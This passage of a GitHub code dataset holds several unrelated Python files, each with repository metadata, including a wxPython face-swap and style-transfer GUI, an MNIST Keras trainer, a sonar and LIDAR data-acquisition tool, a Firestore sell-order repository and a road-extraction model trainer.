name=student.name,\n falculty=student.deputy,\n class_name=student.klass,\n level=1)\n if reason == user_service.REASON_PERMISSION_ADJUST_REQUIRED:\n return False, render_template('entity/studentBlocked.html',\n name=student.name,\n falculty=student.deputy,\n class_name=student.klass,\n level=3)\n if not can:\n return False, render_template('entity/studentBlocked.html',\n name=student.name,\n falculty=student.deputy,\n class_name=student.klass,\n level=2)\n\n return True, None\n","repo_name":"everyclass/everyclass-server","sub_path":"everyclass/server/utils/web_helpers.py","file_name":"web_helpers.py","file_ext":"py","file_size_in_byte":5305,"program_lang":"python","lang":"en","doc_type":"code","stars":60,"dataset":"github-code","pt":"21"} +{"seq_id":"73998182772","text":"from __future__ import print_function\nimport wx\nimport cv2\nimport dlib\nimport numpy\nimport tensorflow as tf\nfrom preprocessing import preprocessing_factory\nimport reader\nimport model\nimport time\nimport os\n\nimport sys\nfrom wx.lib.filebrowsebutton import FileBrowseButton\n\ntf.app.flags.DEFINE_string('loss_model', 'vgg_16', 'The name of the architecture to evaluate. '\n 'You can view all the support models in nets/nets_factory.py')\ntf.app.flags.DEFINE_integer('image_size', 256, 'Image size to train.')\ntf.app.flags.DEFINE_string(\"model_file\", \"models/fe.ckpt-8000\", \"\")\ntf.app.flags.DEFINE_string(\"image_file\", \"output.jpg\", \"\")\n\nclass MyApp(wx.App):\n \n def OnInit(self):\n frame = MyFrame(\"Hello World\", (50, 60), (450, 340))\n frame.Show()\n self.SetTopWindow(frame)\n return True\n\nclass Image(wx.Frame):\n\n def __init__(self,image,parent=None,id=-1,pos=wx.DefaultPosition,title=\"表情包成果预览\"):\n \n temp = image.ConvertToBitmap()\n\n size = temp.GetWidth(),temp.GetHeight()\n wx.Frame.__init__(self,parent,id,title,pos,size)\n\n panel = wx.Panel(self,-1)\n wx.StaticBitmap(parent=self,bitmap=temp)\n wx.StaticBitmap(parent=panel,bitmap=temp)\n\nclass Style():\n def main():\n\n FLAGS = tf.app.flags.FLAGS\n\n # Get image's height and width.\n height = 0\n width = 0\n with open(FLAGS.image_file, 'rb') as img:\n with tf.Session().as_default() as sess:\n if FLAGS.image_file.lower().endswith('png'):\n image = sess.run(tf.image.decode_png(img.read()))\n else:\n image = sess.run(tf.image.decode_jpeg(img.read()))\n height = image.shape[0]\n width = image.shape[1]\n tf.logging.info('Image size: %dx%d' % (width, height))\n\n with tf.Graph().as_default():\n with tf.Session().as_default() as sess:\n\n # Read image data.\n image_preprocessing_fn, _ = preprocessing_factory.get_preprocessing(\n FLAGS.loss_model,\n is_training=False)\n image = reader.get_image(FLAGS.image_file, height, width, image_preprocessing_fn)\n\n # Add batch dimension\n image = tf.expand_dims(image, 0)\n\n generated = model.net(image, training=False)\n generated = tf.cast(generated, tf.uint8)\n\n # Remove batch dimension\n generated = tf.squeeze(generated, [0])\n\n # Restore model variables.\n saver = tf.train.Saver(tf.global_variables(), write_version=tf.train.SaverDef.V1)\n sess.run([tf.global_variables_initializer(), tf.local_variables_initializer()])\n # Use absolute path\n FLAGS.model_file = os.path.abspath(FLAGS.model_file)\n saver.restore(sess, FLAGS.model_file)\n\n # Make sure 'generated' directory exists.\n generated_file = 'generated/res.jpg'\n if os.path.exists('generated') is False:\n os.makedirs('generated')\n\n # Generate and write image data to file.\n with open(generated_file, 'wb') as img:\n start_time = time.time()\n img.write(sess.run(tf.image.encode_jpeg(generated)))\n end_time = time.time()\n tf.logging.info('Elapsed time: %fs' % (end_time - start_time))\n\n tf.logging.info('Done. Please check %s.' % generated_file)\n\n\n # if __name__ == '__main__':\n # tf.logging.set_verbosity(tf.logging.INFO)\n # tf.app.run()\nclass MyFrame(wx.Frame):\n def __init__(self):\n wx.Frame.__init__(self, None, title=\"Face_Expression_AutoMai\",\n size=(800,500))\n menuFile = wx.Menu()\n menuFile.Append(1, \"&About...\")\n menuFile.AppendSeparator()\n menuFile.Append(2, \"E&xit\")\n menuBar = wx.MenuBar()\n menuBar.Append(menuFile, \"&File\")\n self.SetMenuBar(menuBar)\n self.CreateStatusBar()\n self.SetStatusText(\"Enjoy making face expression!\")\n self.Bind(wx.EVT_MENU, self.OnAbout, id=1)\n self.Bind(wx.EVT_MENU, self.OnQuit, id=2)\n\n p = wx.Panel(self)\n\n # create the controls\n self.fbb1 = FileBrowseButton(p,\n labelText=\"选择风格图片:\",\n fileMask=\"*.jpg\")\n self.fbb2 = FileBrowseButton(p,\n labelText=\"选择五官源图片:\",\n fileMask=\"*.jpg\")\n btn = wx.Button(p, -1, \"生成\")\n self.Bind(wx.EVT_BUTTON, self.OnGenePic, btn)\n \n # setup the layout with sizers\n sizer = wx.BoxSizer(wx.HORIZONTAL)\n sizer.Add(self.fbb1, 1, wx.ALIGN_CENTER_VERTICAL)\n sizer.Add(self.fbb2, 1, wx.ALIGN_CENTER_VERTICAL)\n sizer.Add(btn, 0, wx.ALIGN_CENTER_VERTICAL)\n border = wx.BoxSizer(wx.VERTICAL)\n border.Add(sizer, 0, wx.EXPAND|wx.ALL, 15)\n p.SetSizer(border)\n\n def OnQuit(self, event):\n self.Close()\n \n def OnAbout(self, event):\n wx.MessageBox(\"Author: XiangLuoyang\", \n \"About Face_Expreesion\", wx.OK | wx.ICON_INFORMATION, self)\n\n def OnGenePic(self, evt):\n fileaddr1 = self.fbb1.GetValue()\n fileaddr2 = self.fbb2.GetValue()\n PREDICTOR_PATH = \"C:\\shape_predictor_68_face_landmarks.dat\"\n SCALE_FACTOR = 1 \n FEATHER_AMOUNT = 11\n\n FACE_POINTS = list(range(17, 68))\n MOUTH_POINTS = list(range(48, 61))\n RIGHT_BROW_POINTS = list(range(17, 22))\n LEFT_BROW_POINTS = list(range(22, 27))\n RIGHT_EYE_POINTS = list(range(36, 42))\n LEFT_EYE_POINTS = list(range(42, 48))\n NOSE_POINTS = list(range(27, 35))\n JAW_POINTS = list(range(0, 17))\n # Points used to line up the images.\n ALIGN_POINTS = (LEFT_BROW_POINTS + RIGHT_EYE_POINTS + LEFT_EYE_POINTS +\n RIGHT_BROW_POINTS + NOSE_POINTS + MOUTH_POINTS)\n\n # Points from the second image to overlay on the first. The convex hull of each\n # element will be overlaid.\n OVERLAY_POINTS = [\n LEFT_EYE_POINTS + RIGHT_EYE_POINTS + LEFT_BROW_POINTS + RIGHT_BROW_POINTS,\n NOSE_POINTS + MOUTH_POINTS,\n ]\n\n # Amount of blur to use during colour correction, as a fraction of the\n # pupillary distance.\n COLOUR_CORRECT_BLUR_FRAC = 0.6\n\n detector = dlib.get_frontal_face_detector()\n predictor = dlib.shape_predictor(PREDICTOR_PATH)\n\n class TooManyFaces(Exception):\n pass\n\n class NoFaces(Exception):\n pass\n\n def get_landmarks(im):\n rects = detector(im, 1)\n \n if len(rects) > 1:\n raise TooManyFaces\n if len(rects) == 0:\n raise NoFaces\n\n return numpy.matrix([[p.x, p.y] for p in predictor(im, rects[0]).parts()])\n\n def annotate_landmarks(im, landmarks):\n im = im.copy()\n for idx, point in enumerate(landmarks):\n pos = (point[0, 0], point[0, 1])\n cv2.putText(im, str(idx), pos,\n fontFace=cv2.FONT_HERSHEY_SCRIPT_SIMPLEX,\n fontScale=0.4,\n color=(0, 0, 255))\n cv2.circle(im, pos, 3, color=(0, 255, 255))\n return im\n\n def draw_convex_hull(im, points, color):\n points = cv2.convexHull(points)\n cv2.fillConvexPoly(im, points, color=color)\n\n def get_face_mask(im, landmarks):\n im = numpy.zeros(im.shape[:2], dtype=numpy.float64)\n\n for group in OVERLAY_POINTS:\n draw_convex_hull(im,\n landmarks[group],\n color=1)\n\n im = numpy.array([im, im, im]).transpose((1, 2, 0))\n\n im = (cv2.GaussianBlur(im, (FEATHER_AMOUNT, FEATHER_AMOUNT), 0) > 0) * 1.0\n im = cv2.GaussianBlur(im, (FEATHER_AMOUNT, FEATHER_AMOUNT), 0)\n\n return im\n \n def transformation_from_points(points1, points2):\n \"\"\"\n Return an affine transformation [s * R | T] such that:\n\n sum ||s*R*p1,i + T - p2,i||^2\n\n is minimized.\n\n \"\"\"\n # Solve the procrustes problem by subtracting centroids, scaling by the\n # standard deviation, and then using the SVD to calculate the rotation. See\n # the following for more details:\n # https://en.wikipedia.org/wiki/Orthogonal_Procrustes_problem\n\n points1 = points1.astype(numpy.float64)\n points2 = points2.astype(numpy.float64)\n\n c1 = numpy.mean(points1, axis=0)\n c2 = numpy.mean(points2, axis=0)\n points1 -= c1\n points2 -= c2\n\n s1 = numpy.std(points1)\n s2 = numpy.std(points2)\n points1 /= s1\n points2 /= s2\n\n U, S, Vt = numpy.linalg.svd(points1.T * points2)\n\n # The R we seek is in fact the transpose of the one given by U * Vt. This\n # is because the above formulation assumes the matrix goes on the right\n # (with row vectors) where as our solution requires the matrix to be on the\n # left (with column vectors).\n R = (U * Vt).T\n\n return numpy.vstack([numpy.hstack(((s2 / s1) * R,\n c2.T - (s2 / s1) * R * c1.T)),\n numpy.matrix([0., 0., 1.])])\n\n def read_im_and_landmarks(fname):\n im = cv2.imread(fname, cv2.IMREAD_COLOR)\n im = cv2.resize(im, (im.shape[1] * SCALE_FACTOR,\n im.shape[0] * SCALE_FACTOR))\n s = get_landmarks(im)\n\n return im, s\n\n def warp_im(im, M, dshape):\n output_im = numpy.zeros(dshape, dtype=im.dtype)\n cv2.warpAffine(im,\n M[:2],\n (dshape[1], dshape[0]),\n dst=output_im,\n borderMode=cv2.BORDER_TRANSPARENT,\n flags=cv2.WARP_INVERSE_MAP)\n return output_im\n\n def correct_colours(im1, im2, landmarks1):\n blur_amount = COLOUR_CORRECT_BLUR_FRAC * numpy.linalg.norm(\n numpy.mean(landmarks1[LEFT_EYE_POINTS], axis=0) -\n numpy.mean(landmarks1[RIGHT_EYE_POINTS], axis=0))\n blur_amount = int(blur_amount)\n if blur_amount % 2 == 0:\n blur_amount += 1\n im1_blur = cv2.GaussianBlur(im1, (blur_amount, blur_amount), 0)\n im2_blur = cv2.GaussianBlur(im2, (blur_amount, blur_amount), 0)\n\n # Avoid divide-by-zero errors.\n im2_blur += (128 * (im2_blur <= 1.0)).astype(im2_blur.dtype)\n\n return (im2.astype(numpy.float64) * im1_blur.astype(numpy.float64) /\n im2_blur.astype(numpy.float64))\n\n im1, landmarks1 = read_im_and_landmarks(fileaddr1)\n im2, landmarks2 = read_im_and_landmarks(fileaddr2)\n\n M = transformation_from_points(landmarks1[ALIGN_POINTS],\n landmarks2[ALIGN_POINTS])\n\n mask = get_face_mask(im2, landmarks2)\n warped_mask = warp_im(mask, M, im1.shape)\n combined_mask = numpy.max([get_face_mask(im1, landmarks1), warped_mask],\n axis=0)\n\n warped_im2 = warp_im(im2, M, im1.shape)\n warped_corrected_im2 = correct_colours(im1, warped_im2, landmarks1)\n\n output_im = im1 * (1.0 - combined_mask) + warped_corrected_im2 * combined_mask\n\n cv2.imwrite('output.jpg', output_im)\n # self.sound = wx.Sound(filename)\n # if self.sound.IsOk():\n # self.sound.Play(wx.SOUND_ASYNC)\n # else:\n # wx.MessageBox(\"Invalid sound file\", \"Error\") \n\n # Alerts after generating the pictures\n image = wx.Image(\"./output.jpg\",wx.BITMAP_TYPE_JPEG)\n frame = Image(image)\n frame.Show()\n dlg = wx.MessageDialog(None, '图片生成完毕,开始风格迁移。未迁移前图片地址:\"./output.jpg\"',\n 'Succeed', wx.YES_NO | wx.ICON_QUESTION)\n result = dlg.ShowModal()\n dlg.Destroy()\n Style.main()\n image = wx.Image(\"./generated/res.jpg\",wx.BITMAP_TYPE_JPEG)\n frame = Image(image)\n frame.Show()\napp = wx.PySimpleApp()\nfrm = MyFrame()\nfrm.Show()\napp.MainLoop()\n","repo_name":"XiangLuoyang/face_expression_automaking","sub_path":"searchFile.py","file_name":"searchFile.py","file_ext":"py","file_size_in_byte":12829,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"28518756230","text":"import tensorflow as tf\n\nmnist = tf.keras.datasets.mnist #28x28 hand written images 0-9\n\n(x_train, y_train), (x_test, y_test) = mnist.load_data()\n\nx_train = tf.keras.utils.normalize(x_train, axis=1)\nx_test = tf.keras.utils.normalize(x_test, axis=1)\n\nmodel = tf.keras.models.Sequential()\nmodel.add(tf.keras.layers.Flatten())\nmodel.add(tf.keras.layers.Dense(128, activation=tf.nn.relu))\nmodel.add(tf.keras.layers.Dense(128, activation=tf.nn.relu))\nmodel.add(tf.keras.layers.Dense(10, activation=tf.nn.softmax))\n\nmodel.compile(optimizer= 'adam',\n loss='sparse_categorical_crossentropy',\n metrics=['accuracy'])\n\nmodel.fit(x_train, y_train, epochs=3)\n\n\nval_loss, val_acc = model.evaluate(x_test, y_test)\nprint(val_loss, val_acc)\n\n\nmodel.save('num_reader.model')\n\nnew_model = tf.keras.models.load_model(\"num_reader.model\")\n\npredictions = new_model.predict([x_test])\n\n# print(predictions)\n\nindex = 10\n\nimport numpy as np\nprint(np.argmax(predictions[index])) #uses import numpy to take highest probability number in tensor full of predictions to give accurate answer as to which number it is\n\nimport matplotlib.pyplot as plt\n\n# plt.imshow(x_train[0], cmap=plt.cm.binary) #shows image 1 at tensor 1 in binary colormap\n\nplt.imshow(x_test[index])\nplt.show()\n# print(x_train[0])","repo_name":"pascal680/projetveille2021","sub_path":"NNtest2.py","file_name":"NNtest2.py","file_ext":"py","file_size_in_byte":1296,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"20653129152","text":"from numpy import *\nfrom matplotlib.pyplot import *\nfrom mpl_toolkits.mplot3d import Axes3D\n\nN = 200\nx = random.uniform(0, 10, N)\ny = random.uniform(0, 10, N)\nz = x + 2*y + 1 + random.normal(0, 2, N)\n\nax = Axes3D(figure())\nax.scatter(x, y, z, color='red')\n\nX, Y = meshgrid(linspace(0, 10, 10), linspace(0, 10, 10))\nZ = X + 2*Y + 1\nax.plot_wireframe(X, Y, Z)\nshow()\n","repo_name":"nineties/prml-seminar","sub_path":"prog/prog22-2.py","file_name":"prog22-2.py","file_ext":"py","file_size_in_byte":365,"program_lang":"python","lang":"en","doc_type":"code","stars":18,"dataset":"github-code","pt":"21"} +{"seq_id":"72510001333","text":"#!/usr/bin/env python2\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Tue May 16 13:17:23 2017\n\n@author: dieter\n\"\"\"\nimport os\nimport re\nimport shutil\nimport threading\nimport time\nimport tkinter as tk\nfrom tkinter import W, E\n\nimport matplotlib\nimport numpy\nimport pandas\nimport platform\nimport os\n\nimport Device\nimport Logger\n\nimport Library\nimport Settings\nimport Ports\nimport Sonar\n\n\nmatplotlib.use(\"TkAgg\")\nfrom matplotlib.backends.backend_tkagg import FigureCanvasTkAgg # NavigationToolbar2TkAgg\nfrom matplotlib.figure import Figure\n\n\ndef process_scans(scans):\n scans = str(scans)\n result = re.findall('\\d+', scans)\n result = [int(x) for x in result]\n converted = []\n while len(result) > 0:\n angle = result.pop(0)\n distance = result.pop(0)\n strength = result.pop(0)\n converted.append([angle, distance, strength])\n return converted\n\n\nclass HelloApp:\n def __init__(self, master): \n # Prepare Logger\n self.logger = Logger.Logger('DAQgui')\n \n #list ports\n self.os = platform.system()\n wd = os.getcwd()\n \n self.logger.print_log('Runing on ' + self.os)\n self.logger.print_log('Working directory: ' + wd)\n self.logger.print_log('Connected ports')\n p = Ports.Ports()\n p.print()\n\n # Read settings\n self.connect_lidar = Settings.connect_lidar\n self.connect_sonar = Settings.connect_sonar\n self.connect_servo = Settings.connect_servo\n\n self.folder_name = tk.StringVar()\n self.counter_value = tk.IntVar()\n self.repeat_value = tk.IntVar()\n self.status_value = tk.StringVar()\n\n # Figure\n self.fig = Figure(figsize=(10, 5), dpi=100)\n self.axis1 = self.fig.add_subplot(121)\n self.axis2 = self.fig.add_subplot(122)\n\n # Define widgets\n self.master = master\n self.folder = tk.Entry(textvariable=self.folder_name, width=30)\n self.repeats = tk.Entry(textvariable=self.repeat_value, width=10, justify=tk.CENTER)\n self.counter = tk.Label(textvariable=self.counter_value, width=10, justify=tk.CENTER)\n self.status = tk.Message(textvariable=self.status_value, width=500)\n self.measure = tk.Button(master, text=\"Measure\")\n\n # Figure widget\n self.canvas = FigureCanvasTkAgg(self.fig, self.master)\n self.canvas_widget = self.canvas.get_tk_widget()\n\n # Add the widgets to their parents\n self.folder.grid(row=0, column=0, columnspan=2, sticky=W + E)\n self.counter.grid(row=0, column=2, sticky=W + E)\n self.repeats.grid(row=1, column=0, sticky=W + E)\n self.measure.grid(row=2, column=0, sticky=W + E)\n self.status.grid(row=4, column=0, columnspan=3, sticky=W + E)\n self.canvas_widget.grid(row=3, column=0, columnspan=3)\n # Scan variables\n self.current_scan = None\n self.current_scan_time = None\n\n # Prepare Sonar\n if self.connect_sonar:\n self.logger.print_log('Connecting to Sonar')\n self.sonar = Sonar.Sonar()\n if self.os == 'Linux': self.sonar.connect()\n if self.os == 'Windows': self.sonar.connect(Settings.sonar_port)\n\n start_freq = Settings.start_freq\n end_freq = Settings.end_freq\n samples = Settings.samples\n self.sonar.set_signal(start_freq, end_freq, samples)\n self.sonar.build_charge()\n\n if self.connect_lidar:\n self.logger.print_log('Connecting to Lidar')\n self.scan_thread = threading.Thread(target=self.scanning)\n self.scan_thread.start()\n \n self.servo_positions = [0]\n if self.connect_servo:\n self.logger.print_log('Connecting to servo')\n if self.os == 'Linux': self.servo_board = Device.BoardDevice()\n if self.os == 'Windows': self.servo_board = Device.BoardDevice(Settings.servo_port)\n self.servo_positions = Settings.servo_positions\n\n # Bindings\n self.measure.bind('', self.do_measurement)\n # master.protocol(\"WM_DELETE_WINDOW\", self.on_close)\n\n # Set initial values\n self.counter_value.set(0)\n self.repeat_value.set(Settings.default_repeats)\n self.status_value.set('Ready')\n self.logger.print_log('Ready')\n \n def scanning(self):\n from sweeppy import Sweep\n port = Ports.get_port('FT230X Basic UART')\n with Sweep(port) as sweep:\n sweep.start_scanning()\n for scan in sweep.get_scans():\n data = ('{}\\n'.format(scan))\n self.current_scan = process_scans(data)\n self.current_scan_time = time.asctime()\n\n def get_scans(self, n=3):\n scans = self.current_scan\n stamp = self.current_scan_time\n message = 'Got scan %i/%i ' % (1, n)\n self.status_value.set(message)\n self.status.update_idletasks()\n for x in range(n):\n while self.current_scan_time == stamp: time.sleep(0.1)\n scans = scans + self.current_scan\n stamp = self.current_scan_time\n message = 'Got scan %i/%i ' % (x + 1, n)\n self.status_value.set(message)\n self.status.update_idletasks()\n\n all_samples = pandas.DataFrame(scans)\n all_samples.columns = ['degrees', 'distance', 'strength']\n all_samples['degrees'] = all_samples['degrees'] / 1000 # milli-degress to degrees\n all_samples['rad'] = numpy.deg2rad(all_samples['degrees'])\n all_samples['distance'] = all_samples['distance'] / 10 # cm to mm\n all_samples['x'] = all_samples['distance'] * numpy.cos(all_samples['rad'])\n all_samples['y'] = all_samples['distance'] * numpy.sin(all_samples['rad'])\n return all_samples\n\n def do_measurement(self, event):\n folder = self.folder_name.get()\n if folder == '':\n self.logger.print_log('Provide a measurement name.')\n return\n data_folder = os.path.join('data', folder)\n Library.make_folder(data_folder)\n shutil.copy('Settings.py', data_folder + '/Settings.py')\n files = Library.get_files(data_folder)\n files.remove('Settings.py')\n numbers = Library.extract_numbers(files)\n current_counter = max(numbers) + 1\n current_counter_str = str(current_counter).rjust(4, '0')\n self.counter_value.set(current_counter)\n repeats = self.repeat_value.get()\n\n #\n # Get acoustic data\n #\n\n distance_axis = (0.5 * 340 * numpy.arange(0, 7000) / 300000)\n n_positions = len(self.servo_positions)\n all_data = numpy.empty((7000, 2, repeats, n_positions))\n for position_i in range(n_positions):\n position = self.servo_positions[position_i]\n if self.connect_servo:\n self.servo_board.device.set_target(0, position)\n time.sleep(Settings.servo_pause)\n\n for repetition in range(repeats):\n data = numpy.random.rand(7000, 2)\n message = 'Performing measurement %s, %i/%i @ position %i ' % (current_counter_str, repetition + 1, repeats, position)\n self.logger.print_log(message)\n self.status_value.set(message)\n self.status.update_idletasks()\n\n if self.connect_sonar:\n data = self.sonar.measure()\n data = Sonar.convert_data(data, 7000)\n all_data[:, :, repetition, position_i] = data\n time.sleep(Settings.measurement_pause)\n\n current_measurement_data = all_data[:, :, :, position_i]\n mean_data = numpy.mean(current_measurement_data, axis=(2))\n #print(current_measurement_data.shape, mean_data.shape)\n self.axis1.clear()\n self.axis1.plot(distance_axis, mean_data, alpha=0.5)\n self.axis1.set_title('Acoustic data')\n self.canvas.draw()\n time.sleep(Settings.servo_pause)\n\n output_file = os.path.join(data_folder, 'measurement' + current_counter_str + '.npy')\n numpy.save(output_file, all_data)\n\n #\n # Get LIDAR DATA\n #\n if self.connect_lidar:\n message = 'Performing LIDAR measurement'\n self.logger.print_log(message)\n self.status_value.set(message)\n self.status.update_idletasks()\n\n lidar_data = self.get_scans()\n plot_data = lidar_data[lidar_data['strength'] > 50]\n mns = plot_data.groupby('degrees')\n mns = mns.mean()\n mns = mns.reset_index()\n\n self.axis2.clear()\n self.axis2.scatter(mns['x'], mns['y'], s=0.1)\n self.axis2.axis('equal')\n self.canvas.draw()\n output_file = os.path.join(data_folder, 'measurement' + current_counter_str + '.csv')\n lidar_data.to_csv(output_file)\n\n message = 'Measurement %s completed' % (current_counter_str)\n self.logger.print_log(message)\n self.status_value.set(message)\n self.status.update_idletasks()\n\n\nif __name__ == \"__main__\":\n root = tk.Tk()\n app = HelloApp(root)\n root.mainloop()\n","repo_name":"huythinhnguyen/SonoBono","sub_path":"DAQ/Main.py","file_name":"Main.py","file_ext":"py","file_size_in_byte":9233,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"39188084573","text":"from decimal import Decimal\nfrom dataclasses import asdict\n\nfrom src import firestore\nfrom src.application.dto.sell_dto import OrderDto, WithdrawDto\nfrom src.domain.value.collection import usersCol, orderCol, withdrawalCol, policiesCol\nfrom src.domain.value.document import withdrawalDoc\nfrom src.domain.value.filed import userIDFiled, sideFiled, qtyFiled, fundNameFiled, sideSellFiled, datetimeFiled,\\\n descQueryFiled, userStatusFiled, newStatusFiled, receivedStatusFiled, withdrawalFeeFiled\nfrom src.domain.value.exceptions import NotFound, ZeroBalance\n\n\nclass SellRepo:\n def __init__(self, uid):\n self.uid = uid\n self.firestore = firestore\n\n def find_user_balance(self, fund_name):\n user_ref = self.firestore.read_ordered_sub_documents(usersCol, self.uid, fund_name, datetimeFiled, descQueryFiled, 1)\n try:\n user_qty = Decimal(user_ref[0].to_dict()[qtyFiled])\n except (IndexError, AttributeError, KeyError):\n user_qty = Decimal(\"0\")\n return user_qty\n\n def find_previous_sell_orders(self, fund_name):\n orders = self.firestore.db.collection(f'{usersCol}/{self.uid}/{orderCol}').where(userIDFiled,\"==\",self.uid)\n sell_orders = orders.where(fundNameFiled, \"==\", fund_name).where(sideFiled,\"==\",sideSellFiled).get()\n return sell_orders\n\n def find_unfinished_order(self, sell_order_snapshots):\n for snapshot in sell_order_snapshots:\n order = snapshot.to_dict()\n if order[userStatusFiled] in newStatusFiled or order[userStatusFiled] in receivedStatusFiled:\n return order\n\n def find_network_commission(self, asset, network):\n try:\n network_doc = self.firestore.read_document(policiesCol, withdrawalDoc)\n network_data = network_doc.to_dict()\n network_commission = network_data[asset][network][withdrawalFeeFiled]\n return network_commission\n except:\n raise NotFound('withdrawal fee')\n \n def create_order(self, order_input: OrderDto):\n order = asdict(order_input)\n self.firestore.create_sub_document(usersCol, self.uid, orderCol, order_input.order_id, order)\n return order\n\n def create_withdrawal(self, withdrawal_input: WithdrawDto):\n withdrawal = asdict(withdrawal_input)\n self.firestore.create_sub_document(usersCol, self.uid, withdrawalCol, withdrawal_input.order_id, withdrawal)\n return withdrawal","repo_name":"mo-zza/application_api","sub_path":"src/application/repository/sell_repository.py","file_name":"sell_repository.py","file_ext":"py","file_size_in_byte":2493,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"6008997630","text":"from cards import Card, ScienceToken\nclass Play:\n def __init__(self, player_id, card, type, wonder=None):\n self.player_id = player_id\n self.card = card\n self.type = type\n self.wonder = wonder\n\n def hash(self):\n if self.card is None:\n return 'Player {player_id} {action}'.format(\n player_id=self.player_id,\n action=self.type\n )\n if type(self.card) is Card:\n card_id = self.card.card_id\n card_result = self.card.symbols[0] if self.card.symbols is not None else self.card.get_points()\n card_color = self.card.color\n elif type(self.card) is ScienceToken:\n card_id = self.card.token_id\n card_result = ''\n card_color = ''\n else:\n raise Exception(\"NOT A CARD OR A TOKEN\")\n card_name = self.card.name if self.wonder is None else self.wonder.name\n card_action = self.type\n\n discard_text = 'discarded {card_name} '.format(card_name = self.card.name)\n return 'Player {player_id} {card_action} {card_name} ({discard_text}{card_id} {card_result}, {card_color})'.format(\n player_id=self.player_id,\n card_action=card_action,\n discard_text = discard_text if self.wonder is not None else '',\n card_name = card_name,\n card_id=card_id,\n card_result=card_result,\n card_color=card_color\n )\n\n def to_JSON(self):\n return {'player_id': self.player_id, 'card': self.card.to_JSON(), 'type': self.type}\n\n def __repr__(self):\n return self.hash()","repo_name":"ll2585/montecarlotreesearch_7wondersduel","sub_path":"play.py","file_name":"play.py","file_ext":"py","file_size_in_byte":1640,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"21342500655","text":"import sys\nsys.path.append('../')\nfrom geometry_translation.options.train_options import TrainOptions\nfrom geometry_translation.utils.visualizer import Visualizer\nfrom geometry_translation.models import create_model\nfrom geometry_translation.data_loader import get_data_loader\nfrom datetime import datetime\nimport os\n\n\nclass Trainer:\n def __init__(self, opt, model, train_dl, val_dl, visualizer):\n self.opt = opt\n self.model = model\n self.train_dl = train_dl\n self.val_dl = val_dl\n self.visualizer = visualizer\n\n def fit(self):\n best_f1_score = 0.0\n # training phase\n tot_iters = 0\n for epoch in range(1, self.opt.n_epochs + 1):\n print(f'epoch {epoch}/{self.opt.n_epochs}')\n ep_time = datetime.now()\n for i, data in enumerate(self.train_dl):\n self.model.train()\n self.model.set_input(data)\n iter_loss_all, iter_loss_road, iter_loss_cl, iter_metrics, iter_road_metrics = self.model.optimize_parameters()\n iter_metrics = iter_metrics.numpy()\n iter_road_metrics = iter_road_metrics.numpy()\n print(\"[Epoch %d/%d] [Batch %d/%d] [Loss: %f] [Road Loss: %f] [CL Loss: %f] [Precision: %f] [Recall: %f] [F1: %f] [Road IOU: %f] [CL IOU: %f]\" % (epoch, opt.n_epochs, i, len(train_dl), iter_loss_all.item(), iter_loss_road.item(), iter_loss_cl.item(), iter_metrics[0], iter_metrics[1], iter_metrics[2], iter_road_metrics[3], iter_metrics[3]))\n tot_iters += 1\n\n if tot_iters % self.opt.display_freq == 0: # display images on visdom and save images to a HTML file\n save_result = tot_iters % self.opt.update_html_freq == 0\n model.compute_visuals()\n visualizer.display_current_results(model.get_current_visuals(), epoch, save_result)\n if tot_iters % self.opt.print_freq == 0: # print training losses\n losses = model.get_current_losses()\n if opt.display_id > 0:\n visualizer.plot_current_losses(epoch, i / len(self.train_dl), losses)\n\n # validating phase\n if tot_iters % opt.sample_interval == 0:\n self.model.eval()\n tot_loss = 0\n tot_metrics = 0\n tot_road_metrics = 0\n for i, data in enumerate(self.val_dl):\n self.model.set_input(data)\n _, iter_loss, iter_metrics, iter_road_metrics = self.model.test()\n tot_loss += iter_loss.item()\n tot_metrics += iter_metrics.numpy()\n tot_road_metrics += iter_road_metrics.numpy()\n tot_loss /= len(self.val_dl)\n tot_metrics /= len(self.val_dl)\n tot_road_metrics /= len(self.val_dl)\n if tot_metrics[2] > best_f1_score:\n best_f1_score = tot_metrics[2]\n self.model.save_networks('latest')\n self.model.save_networks(epoch)\n with open(os.path.join(opt.checkpoints_dir, opt.name, 'results.txt'), 'a') as f:\n f.write('epoch\\t{}\\titer\\t{}\\tloss\\t{:.6f}\\tprecision\\t{:.4f}\\trecall\\t{:.4f}\\tf1\\t{:.4f}\\troad_iou\\t{:.4f}\\tcl_iou\\t{:.4f}\\n'.format(epoch, tot_iters, tot_loss, tot_metrics[0], tot_metrics[1], tot_metrics[2], tot_road_metrics[3], tot_metrics[3]))\n f.close()\n print('=================time cost: {}==================='.format(datetime.now() - ep_time))\n self.model.update_learning_rate()\n\n\nif __name__ == '__main__':\n opt = TrainOptions().parse()\n model = create_model(opt)\n model.setup(opt)\n train_dl = get_data_loader(opt.dataroot, 'train')\n val_dl = get_data_loader(opt.dataroot, 'val')\n visualizer = Visualizer(opt)\n trainer = Trainer(opt, model, train_dl, val_dl, visualizer)\n trainer.fit()\n","repo_name":"sjruan/DeepMG","sub_path":"geometry_translation/train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":4080,"program_lang":"python","lang":"en","doc_type":"code","stars":40,"dataset":"github-code","pt":"21"} +{"seq_id":"9808579672","text":"from unittest import TestCase\nfrom collections import Counter\n\nfrom ..tools.make_wordlist import cleanup_wordlist\n\n\nclass ToolsTestCases(TestCase):\n \"\"\"\n To run :\n nosetests -v\n \"\"\"\n\n def test_cleanup_word_list(self):\n \"\"\"Test clean up word list\n \"\"\"\n\n for item in cleanup_wordlist(['A$%\"B23',' ']):\n self.assertIsInstance(item, tuple)\n self.assertRegexpMatches(item[0], '^[a-z0-9]*$')\n\n\n\n\n def test_unique_words_in_list(self):\n \"\"\"Test unique words in the word list\n \"\"\"\n words_count = Counter(cleanup_wordlist(['aa','aa','bb','bb'])).values()\n for item in words_count:\n self.assertEqual(item,1)","repo_name":"pangan/shorturl","sub_path":"src/tests/test_tools.py","file_name":"test_tools.py","file_ext":"py","file_size_in_byte":699,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"12999164461","text":"if __name__ == '__main__':\n N = 